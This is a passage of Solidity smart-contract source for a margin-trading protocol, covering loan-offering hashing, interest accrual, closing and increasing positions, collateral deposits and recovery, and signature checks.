return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.takerFeeToken
];
}
function getLoanOfferingValues256(
Tx transaction
)
private
pure
returns (uint256[7])
{
return [
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minAmount,
transaction.loanOffering.rates.minHeldToken,
transaction.loanOffering.rates.lenderFee,
transaction.loanOffering.rates.takerFee,
transaction.loanOffering.expirationTimestamp,
transaction.loanOffering.salt
];
}
function getLoanOfferingValues32(
Tx transaction
)
private
pure
returns (uint32[4])
{
return [
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.rates.interestPeriod
];
}
}
interface IncreaseLoanDelegator {
function increaseLoanOnBehalfOf(
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 lentAmount
)
external
returns (address);
}
interface IncreasePositionDelegator {
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
returns (address);
}
library IncreasePositionImpl {
using SafeMath for uint256;
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
function increasePositionImpl(
MarginState.State storage state,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
BorrowShared.Tx memory transaction = parseIncreasePositionTx(
position,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature
);
validateIncrease(state, transaction, position);
doBorrowAndSell(state, transaction, orderData);
updateState(
position,
transaction.positionId,
transaction.principal,
transaction.lenderAmount,
transaction.loanOffering.payer
);
recordPositionIncreased(transaction, position);
return transaction.lenderAmount;
}
function increaseWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 principalToAdd
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
principalToAdd > 0,
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal"
);
require(
block.timestamp < uint256(position.startTimestamp).add(position.maxDuration),
"IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration"
);
uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal(
state,
position,
positionId,
principalToAdd
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
heldTokenAmount
);
updateState(
position,
positionId,
principalToAdd,
0,
msg.sender
);
emit PositionIncreased(
positionId,
msg.sender,
msg.sender,
position.owner,
position.lender,
"",
address(0),
0,
principalToAdd,
0,
heldTokenAmount,
true
);
return heldTokenAmount;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
uint256 collateralToAdd = getCollateralNeededForAddedPrincipal(
state,
state.positions[transaction.positionId],
transaction.positionId,
transaction.principal
);
BorrowShared.validateTxPreSell(state, transaction);
uint256 maxHeldTokenFromSell = MathHelpers.maxUint256();
if (!transaction.depositInHeldToken) {
transaction.depositAmount =
getOwedTokenDeposit(transaction, collateralToAdd, orderData);
BorrowShared.doDepositOwedToken(state, transaction);
maxHeldTokenFromSell = collateralToAdd;
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
maxHeldTokenFromSell
);
if (transaction.depositInHeldToken) {
require(
transaction.heldTokenFromSell <= collateralToAdd,
"IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken"
);
transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell);
BorrowShared.doDepositHeldToken(state, transaction);
}
assert(transaction.collateralAmount == collateralToAdd);
BorrowShared.doPostSell(state, transaction);
}
function getOwedTokenDeposit(
BorrowShared.Tx transaction,
uint256 collateralToAdd,
bytes orderData
)
